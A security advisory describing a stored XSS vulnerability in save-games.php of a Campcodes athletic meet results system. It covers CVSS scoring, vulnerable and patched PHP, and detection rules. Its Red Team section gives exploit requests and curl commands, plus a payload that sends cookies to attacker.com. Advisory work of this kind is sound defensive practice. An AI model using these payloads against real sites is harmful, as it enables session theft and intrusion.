CVE-2026-3983

Executive Summary

CVE-2026-3983 is a publicly disclosed, unauthenticated stored cross-site scripting (XSS) vulnerability in Campcodes Division Regional Athletic Meet Game Result Matrix System version 2.1. The flaw resides in the save-games.php file, where the game_name parameter is not properly sanitized before being stored and later rendered. An attacker can inject arbitrary JavaScript or HTML, which will execute in the context of any user viewing the affected game results page. The CVSS score is 3.5 (Low), but the public availability of exploit code and the lack of a vendor patch elevate the risk for organizations using this software. No supply chain package is involved; this is a standalone PHP application.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 3.5 (Low)
• Attack Vector (AV): Network – the vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – no special conditions are required.
• Privileges Required (PR): None – no authentication needed.
• User Interaction (UI): Required – the victim must view the maliciously crafted game result.
• Scope (S): Unchanged – the vulnerable component and the impacted component are the same.
• Confidentiality (C): None – no direct data theft.
• Integrity (I): Low – attacker can modify content displayed to the victim.
• Availability (A): None – no denial of service.

Threat Level: Low (CVSS 3.5) but elevated due to public exploit and no patch.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS in the save-games.php endpoint. The application accepts a POST request with a game_name parameter. This value is inserted into the database without any sanitization or encoding. When the game results are later displayed (likely on a page like view-games.php), the stored value is rendered directly into the HTML, allowing the attacker's script to execute.

Attack Flow:

1. Attacker sends a POST request to save-games.php with game_name=<script>alert('XSS')</script>.
2. The server stores the malicious payload in the database.
3. An administrator or user visits the game results page.
4. The browser executes the injected script, which can steal cookies, redirect the user, or deface the page.

Root Cause: Lack of output encoding and input validation. The application does not use htmlspecialchars() or similar functions when displaying user-controlled data.

Vulnerable vs. Patched Code

Vulnerable Code (save-games.php):

<?php
// ... database connection ...
$game_name = $_POST['game_name'];
$sql = "INSERT INTO games (game_name) VALUES ('$game_name')";
mysqli_query($conn, $sql);
// ... redirect ...
?>

Patched Code (save-games.php):

<?php
// ... database connection ...
$game_name = htmlspecialchars($_POST['game_name'], ENT_QUOTES, 'UTF-8');
$stmt = $conn->prepare("INSERT INTO games (game_name) VALUES (?)");
$stmt->bind_param("s", $game_name);
$stmt->execute();
// ... redirect ...
?>

Patched Code (view-games.php):

<?php
// ... fetch from database ...
echo htmlspecialchars($row['game_name'], ENT_QUOTES, 'UTF-8');
?>

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running Campcodes Division Regional Athletic Meet Game Result Matrix System 2.1.
• Network access to the web interface.

Exploit Steps:

1. Identify the vulnerable endpoint: http://target/save-games.php.
2. Craft a POST request with a malicious payload:

   POST /save-games.php HTTP/1.1
   Host: target
   Content-Type: application/x-www-form-urlencoded
   Content-Length: 45
   
   game_name=<script>alert(document.cookie)</script>
   

3. Send the request using curl:

   curl -X POST http://target/save-games.php -d "game_name=<script>alert(document.cookie)</script>"
   

4. Wait for an administrator or user to visit the game results page (e.g., view-games.php).
5. The injected script executes, exfiltrating cookies or performing other actions.

Advanced Payload:

<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team

Detection:

• Monitor HTTP POST requests to save-games.php for suspicious game_name parameters containing <script>, onerror=, or other HTML/JavaScript constructs.
• Use WAF rules to block common XSS patterns.

Hunting:

• Search database entries in the games table for HTML tags or JavaScript code.
• Review web server logs for unusual POST requests to save-games.php.

Lab Setup:

1. Install XAMPP or similar LAMP stack.
2. Download and deploy Campcodes Division Regional Athletic Meet Game Result Matrix System 2.1.
3. Access the application and navigate to the game management section.
4. Use Burp Suite or browser developer tools to intercept and modify the game_name parameter.

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST requests to /save-games.php with game_name containing <script> or onerror= tags.
  • Outbound connections to attacker-controlled domains from the web server.
• File System:
  • Modified entries in the games table of the application database containing HTML/JavaScript.
• Logs:
  • Web server access logs showing POST requests to save-games.php with unusual parameters.
  • Application error logs if the payload causes a crash.

Detection Engineering

YARA Rule

rule CVE_2026_3983_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting CVE-2026-3983 in HTTP requests"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-3983"
    strings:
        $xss1 = /game_name=.*<script/i
        $xss2 = /game_name=.*onerror=/i
        $xss3 = /game_name=.*onload=/i
        $xss4 = /game_name=.*alert\(/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2026-3983 XSS Attempt Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects XSS attempts against save-games.php
author: Valters IT
date: 2026/01/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'save-games.php'
        cs-uri-query|contains|any:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'alert('
    condition: selection
falsepositives:
    - Legitimate use of HTML in game names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-3983 XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"save-games.php"; http_uri; content:"game_name="; http_client_body; pcre:"/(<script|onerror=|onload=|alert\()/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Input Sanitization: Apply htmlspecialchars() with ENT_QUOTES and UTF-8 encoding to all user-supplied data before storing or displaying.
2. Output Encoding: Ensure all data retrieved from the database is encoded before rendering in HTML.
3. Content Security Policy (CSP): Implement a strict CSP header to block inline scripts:

   Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
   

4. Web Application Firewall (WAF): Deploy rules to block common XSS patterns in POST parameters.

Long-Term Fix:

• Replace the vulnerable code with prepared statements and proper output encoding as shown in the patched code section.
• Conduct a full security audit of the application for similar vulnerabilities.

Workaround:

• If patching is not possible, restrict access to the save-games.php endpoint using IP whitelisting or authentication.

Valters IT
Securing Digital Frontiers